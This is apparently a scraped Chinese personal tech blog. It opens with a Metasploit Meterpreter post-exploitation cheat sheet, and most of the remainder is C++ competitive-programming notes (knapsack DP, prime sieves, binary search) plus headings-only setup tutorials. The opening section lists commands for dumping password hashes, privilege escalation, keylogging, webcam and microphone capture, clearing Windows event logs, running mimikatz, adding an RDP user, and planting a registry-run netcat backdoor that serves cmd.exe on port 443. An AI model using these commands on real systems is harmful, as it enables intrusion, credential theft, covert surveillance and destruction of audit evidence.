getuid      查看当前用户信息
5
sysinfo     查看远程主机系统信息
6
execute     在目标主机上执行命令
7
hashdump    获取目标主机用户密码hash信息（只要我们能够获取到目标的用户凭证，那么即使目标修补了漏洞，我们还是可以控制目标）
8
getsystem   提升权限（通过内置的提权组件来尝试获取到系统权限）
9
shell       切换至传统shell
10
background  将当前session放入后台
11
kill        关闭进程
12
load        加载meterpreter扩展
13
exit        退出当前shell
14
arp         显示ARP缓存
15
getproxy    显示当前代理配置
16
ifconfig    显示接口
17
ipconfig    显示接口
18
netstat     显示网络连接
19
portfwd     将本地端口转发到远程服务
20
route       查看和修改路由
21
getenv      查看环境变量
22
getprivs    查看权限
23
pgrep       搜索进程
24
ps          查看当前运行进程（主要查看有没有杀软，可以通过在线杀软对比来确定）
25
reboot      重启系统
26
reg         修改注册表
27
help        查看相关的命令
28
migrate     进程迁移（主要是防止当前的会话断开，所以尽快迁移到其他稳定的进程当中去，要注意两点：迁移的进程位数要一致，迁移的权限最好一致）
29
clearev     清除windows中的应用程序日志、系统日志、安全日志

展开收起

文件系统命令#

1
cat           查看文件
2
cd            改变目录
3
checksum      校验文件md5或sha1
4
cp            拷贝文件
5
download      下载文件
6
edit          编辑文件
7
ls            列出文件
8
mkdir         创建文件夹
9
mv            移动文件
10
rm            删除文件
11
rmdir         删除文件夹
12
search        查找文件
13
show_mount    列出所有驱动器
14
upload        上传文件

用户设备命令#

1
enumdesktops   列出所有可访问的桌面和窗口
2
getdesktop     获取当前桌面
3
idletime       获取远程系统已运行时间（从上次重新启动开始计算）
4
keyboard_send  发送击键
5
keyscan_dump   转储击键缓冲区
6
keyscan_start  开始捕获击键
7
keyscan_stop   停止捕获击键
8
mouse          发送鼠标事件
9
screenshare    实时观看远程用户的桌面
10
screenshot     截屏
11
setdesktop     更改shell当前桌面
12
uictl          控制用户界面组件
13
record_mic     记录麦克风一定秒数
14
webcam_chat    开始视频聊天
15
webcam_list    列出网络摄像头
16
webcam_snap    从指定网络摄像头拍摄
17
webcam_stream  播放指定网络摄像头的视频流
18
play           在目标系统播放音频
19

20
mimikatz抓取密码
21
load mimikatz   加载mimikatz模块
22
help mimikatz   查看帮助
23
wdigest         获取密码

展开收起

开启远程桌面#

1
run vnc 使用vnc连接远程桌面
2
run getgui -e 开启远程桌面
3
run post/windows/manage/enable_rdp 开启远程桌面
4
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
5
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662   将3389端口转发到6662

收集信息#

1
run post/windows/gather/checkvm #是否虚拟机
2
run post/linux/gather/checkvm #是否虚拟机
3
run post/windows/gather/forensics/enum_drives #查看分区
4
run post/windows/gather/enum_applications #获取安装软件信息
5
run post/windows/gather/dumplinks   #获取最近的文件操作
6
run post/windows/gather/enum_ie  #获取IE缓存
7
run post/windows/gather/enum_chrome   #获取Chrome缓存
8
run post/windows/gather/enum_patches  #补丁信息
9
run post/windows/gather/enum_domain  #查找域控

针对未安装补丁攻击#

1
run post/windows/gather/enum_patches  收集补丁信息
2
攻击：
3
msf > use exploit/windows/local/xxxx
4
msf > set SESSION 2
5
msf > exploit

注册表设置nc后门#

1
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
2
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
3
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
4
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值
5
nc -v 192.168.159.144 443  #攻击者连接nc后门

字符串

Sun, 16 Jul 2023 17:05:55 GMT

字符串比较函数#

1
string a, b;
2
cin >> a;
3
cin >> b;
4
if (a.compare(b) > 0)
5
{
6
cout << “a>b”<<endl;
7
}
8
if (a.compare(b) == 0)
9
{
10
cout << “a=b” << endl;
11
}
12
if (a.compare(b) < 0)
13
{
14
cout << “a<b” << endl;
15
}
16
//a的子串（从索引3开始，包含4个字符）与b进行比较
17
if (a.compare(3, 4, b) == 0)
18
printf(“a的指定子串等于b\n”);
19
else
20
printf(“a的指定子串不等于b\n”);
21
//a指定子串与b的指定子串进行比较
22
if (a.compare(3, 4, b, 3, 4) == 0)
23
printf(“a的指定子串等于b的指定子串\n”);
24
else
25
printf(“a的指定子串不等于b的指定子串\n”);
26
//a指定子串与字符串的前n个字符进行比较
27
if(a.compare(0,2,“hi,hello”,2)==0)
28
printf(“a的指定子串等于指定字符串的前2个字符组成的子串\n”);
29
else
30
printf(“a的指定子串不等于指定字符串的前2个字符组成的子串\n”);

展开收起

去除非字母字符，并全部转换为小写#

1
string judge(string s){
2
  string t="";
3
  for(int i=0;i<s.size();i++){
4
    if(isalpha(s[i]))
5
      t+=tolower(s[i]);
6
    //t=t+tolower(s[i])是错的(暂时不知道为什么)！！！
7
  }
8
  return t;
9
}

硬币

Sat, 06 May 2023 20:25:11 GMT

硬币#

宇航员Bob有一天来到火星上，他有收集硬币的习惯。于是他将火星上所有面值的硬币都收集起来了，一共有n种，每种只有一个：面值分别为a1,a2… an。 Bob在机场看到了一个特别喜欢的礼物，想买来送给朋友Alice，这个礼物的价格是X元。Bob很想知道为了买这个礼物他的哪些硬币是必须被使用的，即Bob必须放弃收集好的哪些硬币种类。飞机场不提供找零，只接受恰好X元。

Input

第一行包含两个正整数n和x。（1 <= n <= 200, 1 <= x <= 10000) 第二行从小到大为n个正整数a1, a2, a3 … an （1 <= ai <= 10000)

Output

第一行是一个整数，即有多少种硬币是必须被使用的。第二行是这些必须使用的硬币的面值（从小到大排列）。

Sample

Input	Output
5 18 1 2 3 5 10	2 5 10

Hint

输入数据将保证给定面值的硬币中至少有一种组合能恰好能够支付X元。如果不存在必须被使用的硬币，则第一行输出0，第二行输出空行。

1
#include<iostream>
2
#include<algorithm>
3
#include<cstring>
4
#pragma GCC optimize(3)
5
using namespace std;
6
int n,x,a[2100],k=0,cnt=0,p[2100],q[2100];
7
//  int v[1000][1000];
8
int v[10000];
9
int check(int t){
10

11
  memset(v,0,sizeof(v));
12
  int f=1;
13
  for(int i=1;i<=n;i++){
14
    if(i==t)
15
      continue;
16
    else
17
      q[f++]=a[i];
18
  }
19
  f--;
20

21
  v[0]=1;
22
    for(int i=1;i<=f;i++){
23
      for(int j=x;j>=q[i];j--){
24
      v[j]=v[j]+v[j-q[i]];
25
                /*必须从x开始递减*/
26
      }
27
    }
28

29

30
    if(v[x]==0)
31
      return 0;
32
    else
33
      return 1;
34

35

36

37

38

39
//  v[0][0]=1;
40
//  for(int i=1;i<=f;i++){
41
//    for(int j=0;j<=x;j++){
42
//      v[i][j]=v[i-1][j]+v[i-1][j-q[i]];
43
// 如果从0开始，就要用二维数组
44
//    }
45
//  }
46
//
47
//
48
//  if(v[f][x]==0)
49
//    return 0;
50
//  else
51
//    return 1;
52
}
53

54

55

56
int main(){
57

58
  cin>>n>>x;
59

60
  for(int i=1;i<=n;i++)
61
    cin>>a[i];
62
  for(int i=1;i<=n;i++){
63
    if(check(i)==0){
64
      cnt++;
65
      p[k++]=a[i];
66
    }
67

68
  }
69

70
  cout<<cnt<<endl;
71
  for(int i=0;i<k;i++){
72
    cout<<p[i]<<" ";
73
  }
74
}

展开收起

快读快写

Wed, 03 May 2023 21:12:59 GMT

快读模板：#

1
inline int read()
2
{
3
  int x = 0,f = 1;
4
  char ch = getchar();
5
  while (ch < '0' || ch>'9')
6
  {
7
    if (ch == '-')
8
      f = -1;
9
    ch = getchar();
10
  }
11
  while (ch >= '0' && ch <= '9')
12
  {
13
    x = (x << 1) + (x << 3) + (ch ^ 48);
14
    ch = getchar();
15
  }
16
  return x * f;
17
}

展开收起

快写模板：#

1
inline void write(int x)
2
{
3
  if (x < 0) putchar('-'), x = -x;
4
  if(x > 9)
5
    write(x / 10);
6
  putchar(x % 10 + '0');
7
  return;
8
}

优化：#

1
#include <iostream>
2
using namespace std;
3
typedef long long LL;
4

5
inline LL read()
6
{
7
  LL x = 0, f = 1;
8
  char ch = getchar();
9
  while (!isdigit(ch))
10
  {
11
    if (ch == '-')
12
      f = -1;
13
    ch = getchar();
14
  }
15
  while (isdigit(ch))
16
  {
17
    x = (x << 1) + (x << 3) + (ch ^ 48);
18
    ch = getchar();
19
  }
20
  return x * f;
21
}
22

23
inline void write(LL x)
24
{
25
  if (x < 0) putchar('-'), x = -x;
26
  if (x > 9) write(x / 10);
27
  putchar(x % 10 + '0');
28
}
29

30
int main()
31
{
32
  int a = read();
33
  write(a);
34
  return 0;
35
}

展开收起

素数小结

Thu, 27 Apr 2023 20:57:26 GMT

判断素数#

1
#include<iostream>
2
#include<math.h>
3
using namespace std;
4
bool su(int n){
5
  int i=2;
6
  if(n==1)
7
    return false;
8
  for(i=2;i<=sqrt(n);i++){
9
    if(n%i==0)
10
      break;
11
  }
12
  if(i>sqrt(n))
13
    return true;
14
else
15
  return false;
16
}

展开收起

素数筛#

埃氏筛#

1
bool isnp[MAXN]; // is not prime: 不是素数
2
void init(int n)
3
{
4
    for (int i = 2; i * i <= n; i++)
5
        if (!isnp[i])
6
            for (int j = i * i; j <= n; j += i)
7
                isnp[j] = 1;
8
}

欧拉筛#

1
bool isnp[MAXN];
2
vector<int> primes; // 质数表
3
void init(int n)
4
{
5
    for (int i = 2; i <= n; i++)
6
    {
7
        if (!isnp[i])
8
            primes.push_back(i);
9
        for (int p : primes)
10
        {
11
            if (p * i > n)
12
                break;
13
            isnp[p * i] = 1;
14
            if (i % p == 0)
15
                break;
16
        }
17
    }
18
}

展开收起

开餐馆

Sat, 22 Apr 2023 20:04:07 GMT

开餐馆 #

题目描述：#

北大信息学院的同学小明毕业之后打算创业开餐馆.现在共有n 个地点可供选择。小明打算从中选择合适的位置开设一些餐馆。这 n 个地点排列在同一条直线上。我们用一个整数序列m1, m2, … mn 来表示他们的相对位置。由于地段关系,开餐馆的利润会有所不同。我们用pi 表示在mi 处开餐馆的利润。为了避免自己的餐馆的内部竞争,餐馆之间的距离必须大于k。请你帮助小明选择一个总利润最大的方案。

Input：#

标准的输入包含若干组测试数据。输入第一行是整数T (1 <= T <= 1000) ，表明有T组测试数据。紧接着有T组连续的测试。每组测试数据有3行, 第1行:地点总数 n (n < 100), 距离限制 k (k > 0 && k < 1000). 第2行个地点的位置m1 , m2, … mn ( 1000000 > mi > 0 且为整数,升序排列) 第3行个地点的餐馆利润p1 , p2, … pn ( 1000 > pi > 0 且为整数)

Output:#

对于每组测试数据可能的最大利润

Sample:#

Input	Output
2 3 11 1 2 15 10 2 30 3 16 1 2 15 10 2 30	40 30

1
#include<iostream>
2
#include<algorithm>
3
using namespace std;
4
int main(){
5
  int T,n,k,w[1000]={0},l[1000]={0};
6
  cin>>T;
7
  while(T--){
8
    cin>>n>>k;
9
    int v[1000]={0};
10
    for(int i=1;i<=n;i++){
11
      cin>>w[i];
12
    }
13
    for(int i=1;i<=n;i++){
14
      cin>>l[i];
15
    }
16
    v[1]=l[1];
17
  for(int i=2;i<=n;i++){
18
    for(int j=1;j<i;j++){
19
      if(w[i]-w[j]>k){
20
        v[i]=max(v[i],v[j]+l[i]);
21
                //前面i-1个加现在这个的利润跟现在的这个已经有的利润取最大的
22
      }
23
      else
24
        v[i]=max(v[i],v[j]);
25
            //前面的与已有的利润的比
26
    }
27
    v[i]=max(v[i],l[i]);
28
        //已有的利润，跟现在这个店铺的利润比;
29
  }
30

31

32
    cout<<v[n]<<endl;
33
    }
34

35

36

37
  }

展开收起

简单的整数划分

Sat, 22 Apr 2023 19:34:16 GMT

简单的整数划分 #

题目描述：#

将正整数n 表示成一系列正整数之和，n=n1+n2+…+nk, 其中n1>=n2>=…>=nk>=1 ，k>=1 。正整数n 的这种表示称为正整数n 的划分。正整数n 的不同的划分个数称为正整数n 的划分数。

Input：#

标准的输入包含若干组测试数据。每组测试数据是一个整数N(0 < N <= 50)。

Output：#

对于每组测试数据，输出N的划分数

Input	Output
`5`	`7`

Hint：#

5, 4+1, 3+2, 3+1+1, 2+2+1, 2+1+1+1, 1+1+1+1+1

1
#include<iostream>
2
#include<algorithm>
3
using namespace std;
4
int main(){
5
  int  v[55][55]={0},a[55];
6
  int N=51,n;v[0][0]=1;
7
  for(int i = 1; i <= N; i++) //硬币种类
8
  for(int j = 1; j <= N; j++)//硬币个数
9
    for(int k=i;k<=N;k++){//背包容量
10
      v[j][k]+=v[j-1][k-i];
11
            //第一种硬币有一个v[j][k]，第二种硬币有一个v[j][k]所以要自增;
12
/*根据Coin Change那一题想的思路,题目相当于有5种硬币(1,2,3,4,5)每种硬币最多用5个(5个面值为1的),背包容量为5*/
13
/*v[j][k]表示用j个硬币装满k容量的口袋也相当于在相同空间时，i-1种硬币装法加上j-1个硬币k-a[i]空间的装法*/
14
    }
15
  while(cin>>n){
16
    int sum=0;
17
    for(int i=0;i<=N;i++){
18
    sum+=v[i][n];
19
    }
20
    cout<<sum<<endl;
21
  }
22
}

展开收起

01背包

Tue, 18 Apr 2023 20:45:25 GMT

Bone Collector#

许多年前，在泰迪的家乡有一个人，他被称为“骨头收藏家”。这个人喜欢收集各种各样的骨头，比如狗的，牛的，他也去了坟墓… 收集骨头的人有一个体积为V的大袋子，在他收集的过程中有很多骨头，很明显，不同的骨头有不同的价值，不同的体积，现在给出每根骨头在他的过程中的价值，你能计算出收集骨头的人能得到的最大总价值吗？

Input#

第一行包含整数T，即案例数。其次是T例，每例三行，第一行包含两个整数N，V，（N <= 1000，V <= 1000）代表他的骨数和包的体积。第二行包含N个整数，表示每个骨骼的值。第三行包含N个整数，表示每个骨骼的体积。

Output#

每行一个整数表示总价值的最大值（这个数字将小于2^31）。

Sample Input#

Sample Output#

1
14

1
#include<iostream>
2
using namespace std;
3
int T,w[1010],t[1010],f[1010][1010];
4
int main(){
5
  cin>>T;
6
  while(T--){
7
    int N,V;
8
    cin>>N>>V;
9
    for(int i=1;i<=N;i++)
10
      cin>>w[i];
11
    for(int i=1;i<=N;i++)
12
      cin>>t[i];
13
  for(int i=1;i<=N;i++){
14
  for(int j=0;j<=V;j++){
15
    f[i][j]=f[i-1][j];
16
    if(j>=t[i]){
17
      int k=f[i-1][j-t[i]]+w[i];
18
            //如果第i件物品放入背包，则f[i][j]=f[i-1][j-v[i]]+w[i];
19
  //如果第i件物品放入背包，则背包容量还剩j-v[i],所以要取前i-1件物品放入背包剩余容量j-v[i]所获得的最大价值f[i-1] [j-v[i]];
20
      int l=f[i][j];//因为上面f[i][j]=f[i-1][j],所以l相当于前i-1个物品，j个容量
21
      f[i][j]=max(l,k);
22
    }
23

24
  }
25
  }
26
    cout<<f[N][V]<<endl;
27
    }
28

29

30

31
  }

展开收起

状态变量：f[i] [j]表示前i件物品放入容量为j的背包的最大价值

当前容量为j，我们要考虑第i件物品能否放入？是否放入？

如果当前背包容量j<v[i],不能放入，则f[i] [j]=f[i-1] [j] 如果当前背包容量j>=v[i]，能放入但是要比较代价如果第i件物品不放入背包，则f[i] [j]=f[i-1] [j]

如果第i件物品放入背包，则背包容量还剩j-v[i],所以要取前i-1件物品放入背包剩余容量j-v[i]所获得的最大价值f[i-1] [j-v[i]]。

动态规划(状态转移方程)

Mon, 17 Apr 2023 21:19:28 GMT

53. 最大子数组和 #

给你一个整数数组 nums ，请你找出一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。

子数组 是数组中的一个连续部分。

示例 1：

1
输入：nums = [-2,1,-3,4,-1,2,1,-5,4]
2
输出：6
3
解释：连续子数组 [4,-1,2,1] 的和最大，为 6 。

示例 2：

1
输入：nums = [1]
2
输出：1

示例 3：

1
输入：nums = [5,4,-1,7,8]
2
输出：23

提示：

1 <= nums.length <= 105
-104 <= nums[i] <= 104

1
int maxSubArray(vector<int>& nums) {
2
  if(nums.empty())
3
    return 0;
4
  vector<int> v(nums);//将vector类型nums全部复制到v中去
5
  int maxNum = nums[0];
6
  for(int i = 1; i < nums.size(); i++)
7
  {
8
    v[i] = max(v[i - 1] + nums[i], nums[i]);
9
    if(maxNum < v[i])
10
      maxNum = v[i];
11
  }
12
  return maxNum;
13
}

ps i并不是代表的前i + 1 的最大子序列的和。而是包含nuns[i ]的最大子序列的和。

二分模板

Sun, 16 Apr 2023 09:41:26 GMT

二分模板主要有两种：#

模板1:#

1
while (l < r)
2
    {
3
        int mid = l + r >> 1;  //(l+r)/2
4
        if (check(mid))  r = mid;    // check()判断mid是否满足性质
5
        else l = mid + 1;
6
    }

模板2：#

1
  while (l < r)
2
    {
3
        int mid = l + r + 1 >> 1;  //(l+r+1)/2
4
        if (check(mid))  l = mid;
5
        else r = mid - 1;
6
    }

模板3：（浮点二分）#

1
while(r-l>1e-5) //需要一个精度保证
2
{
3
  double mid = (l+r)/2;
4
  if(check(mid)) l=mid; //或r=mid;
5
  else r=mid; //或l=mid;
6
}

动态规划

Sat, 15 Apr 2023 16:06:08 GMT

[SHOI2002] 滑雪 #

题目描述#

Michael 喜欢滑雪。这并不奇怪，因为滑雪的确很刺激。可是为了获得速度，滑的区域必须向下倾斜，而且当你滑到坡底，你不得不再次走上坡或者等待升降机来载你。Michael 想知道在一个区域中最长的滑坡。区域由一个二维数组给出。数组的每个数字代表点的高度。下面是一个例子：

1
1   2   3   4   5
2
16  17  18  19  6
3
15  24  25  20  7
4
14  23  22  21  8
5
13  12  11  10  9

一个人可以从某个点滑向上下左右相邻四个点之一，当且仅当高度会减小。在上面的例子中，一条可行的滑坡为 24−17−16−124-17-16-124−17−16−1（从 242424 开始，在 111 结束）。当然 252525－242424－232323－…\ldots…－333－222－111 更长。事实上，这是最长的一条。

输入格式#

输入的第一行为表示区域的二维数组的行数 RRR 和列数 CCC。下面是 RRR 行，每行有 CCC 个数，代表高度(两个数字之间用 111 个空格间隔)。

输出格式#

输出区域中最长滑坡的长度。

样例 #1#

样例输入 #1#

1
5 5
2
1 2 3 4 5
3
16 17 18 19 6
4
15 24 25 20 7
5
14 23 22 21 8
6
13 12 11 10 9

样例输出 #1#

1
25

提示#

对于 100%100\%100% 的数据，1≤R,C≤1001\leq R,C\leq 1001≤R,C≤100。

1
#include<iostream>
2
#include<algorithm>
3
using namespace std;
4
int R,C,s[100][100],a[110][110];
5
int nx[4]={0,0,-1,1},ny[4]={1,-1,0,0};
6
int dfs(int x,int y){
7
  if(s[x][y])
8
    return s[x][y];
9
s[x][y]=1;
10
  for(int i=0;i<4;i++){
11
    int xx=nx[i]+x,yy=ny[i]+y;
12
    if(xx<R&&yy<C&&xx>=0&&yy>=0&&a[xx][yy]<a[x][y]){
13
    dfs(xx,yy);
14
  s[x][y]=max(s[xx][yy]+1,s[x][y]);
15

16
    }
17
  }
18
  return s[x][y];
19
}
20
int main(){
21
  int cnt=0;
22
  cin>>R>>C;
23
  for(int i=0;i<R;i++)
24
  for(int j=0;j<C;j++)
25
    cin>>a[i][j];
26

27
  for(int i=0;i<R;i++)
28
  for(int j=0;j<C;j++)
29
  cnt=max(dfs(i,j),cnt);
30
  cout<<cnt;
31

32
}

展开收起

二分查找

Sat, 15 Apr 2023 00:00:00 GMT

洛谷二分查找 P1678 烦恼的高考志愿 #

题目背景#

计算机竞赛小组的神牛 V 神终于结束了高考，然而作为班长的他还不能闲下来，班主任老 t 给了他一个艰巨的任务：帮同学找出最合理的大学填报方案。可是 v 神太忙了，身后还有一群小姑娘等着和他约会，于是他想到了同为计算机竞赛小组的你，请你帮他完成这个艰巨的任务。

题目描述#

现有 m所学校，每所学校预计分数线是 ai。有 n 位学生，估分分别为 bi。

根据 n 位学生的估分情况，分别给每位学生推荐一所学校，要求学校的预计分数线和学生的估分相差最小（可高可低，毕竟是估分嘛），这个最小值为不满意度。求所有学生不满意度和的最小值。

输入格式#

第一行读入两个整数 m,n。m 表示学校数，n 表示学生数。

第二行共有 m 个数，表示 m 个学校的预计录取分数。第三行有 n 个数，表示 n 个学生的估分成绩。

输出格式#

输出一行，为最小的不满度之和。

样例#

样例输入#

1
4 3
2
513 598 567 689
3
500 600 550

样例输出#

1
32

提示#

数据范围：

对于 *30%*的数据，1≤n,m≤1000，估分和录取线 ≤10000；

对于 100% 的数据，1≤ n,m≤100000，估分和录取线 ≤1000000 且均为正整数。

1
#include<iostream>
2
#include<algorithm>
3
using namespace std;
4
const int MAX=1e5+10;//数据个数为10的五次方
5
int g[MAX],s[MAX],m,n;
6
int check_l(int x){//二分查找找小于等于目标数且最大的那个
7
int  l=0,r=m-1;
8
  while(l<r){
9
  int mid=(l+r+1)/2;//因为要找最大的,要向右找,调整l,为防止死循环,mid+1;
10
    if(s[mid]<=x)
11
      l=mid;
12
    else
13
      r=mid-1;
14
  }
15
  return s[l];//tips:当找不到时 l==r==m-1;
16
}
17

18
int main(){
19
  long long sum=0;//数据较多,累加在一起时可能超过int;
20
  cin>>m>>n;
21
  for(int i=0;i<m;i++)
22
  cin>>s[i];
23
  for(int i=0;i<n;i++)
24
    cin>>g[i];
25
  sort(s,s+m);//从小到大排列
26
  for(int i=0;i<n;i++){
27
  int h=s[lower_bound(s,s+m,g[i])-s];//找大于等于g[i]的最小值,当找不到时lower_bound()==0,但并不影响该题;
28
  int low=check_l(g[i]);
29
  sum+=min(abs(h-g[i]),abs(g[i]-low));//大于等于g[i]的最小值与小于等于g[i]的最大值进行比较，选择与g[i]相差最小的;
30
  //使用abs的原因是为防止找不到大于等于g[i]的最小值或小于等于g[i]的最大值时相减为负数
31
  }
32
  cout<<sum;
33

34
}

展开收起

Firefly

永劫无间高校赛

Miniconda+PyCharm配置Open3D

1.下载Miniconda#

2.安装时注意选择添加path#

3.使用Anaconda Prompt#

4.创建虚拟环境#

5.激活虚拟环境#

6.配置PyCharm,添加解释器（注意选择当时命名的python38）#

7.测试代码，点击然后下载 bun_zipper.ply，然后把 bun_zipper.ply放入项目目录#

8.正确结果#

linux期末复习

03.Linux基本操作练习题#

04.Linux文件操作练习题#

05.用户及用户组管理习题#

06.软件包管理习题#

07.Vim编辑器习题#

08.系统管理与安全测试#

09.网络管理与安全测试#

10.Shell编程测试#

11.过滤器#

12.Docker容器#

期中考试#

editplus 注册码汉化

editplus 官网下载（点击跳转）#

注册码#

汉化包下载（点击跳转）#

Arch 安装教程

arch安装教程+部分问题解决#

网络配置#

硬盘分区#

格式化#

挂载#

安装#

挂载信息载入系统#

进入创建的系统#

设置时区#

对准时间#

下载nano也可以使用vim#

切换到etc目录使用nano编辑locale.gen文件来设置语言#

将en_US.UTF-8 UTF-8前面的#去掉#

加载配置#

创建locale.conf#

编辑locale.conf(编辑时会自动创建所以不执行上一条也行)#

设置用户#

设置root密码(输入时密码不可见，输就完事了不用担心，要输入两次)#

新建用户(***表示你想起的用户名)#

设置密码(***表示你想起的用户名)#

管理权限#

在root那一行输入(***表示你上面所设置的用户名)#

编辑hostame然后输入一个名字保存#

更新一下#

安装os-prober#

返回根目录#

取消最后一行注释#

安装grub#

生成配置文件#

网络配置#

开机自启动#

退出并重启#

安装KDE#

安装KDE（根据提示按回车和输入y）#

Xshell远程连接#

设置开机启动#

查看ip#

Xshell出现警告#

以下是使用时遇到的一些问题及解决方案，不是安装教程#

安装archlinuxcn-keyring报错#

Android studio 报错

The emulator process for AVD Pixel_2_API_30 has terminated.#

错误代码1073740791 (0xC0000409)#

log文件路径#

根据你最后一次出现错误的时间找log，如果你有这一种错误的话#

就意味着这是由于显卡驱动(反正就是跟显卡原因有关),这时候打开studio，新建一个虚拟机在第三步的时候点击红色方框，下拉选择software#

但是有的人这个选项框是灰的，选择不了，就比如我，这个时候跳到下一步（如果你不是灰的，能选择的话就不用后面的步骤了）#

打开你的虚拟机文件，如图#

右键config.ini，选择编辑，找到以下两项并修改#

关闭文件的时候别忘保存，再重新打开studio，打开虚拟机应该就行了#

PS：我估计这个问题是AMD芯片或者显卡的锅，烦死了，搞了一整天#

电池损耗查看

1.下载Miniconda #

安装archlinuxcn-keyring报错 #

开餐馆 #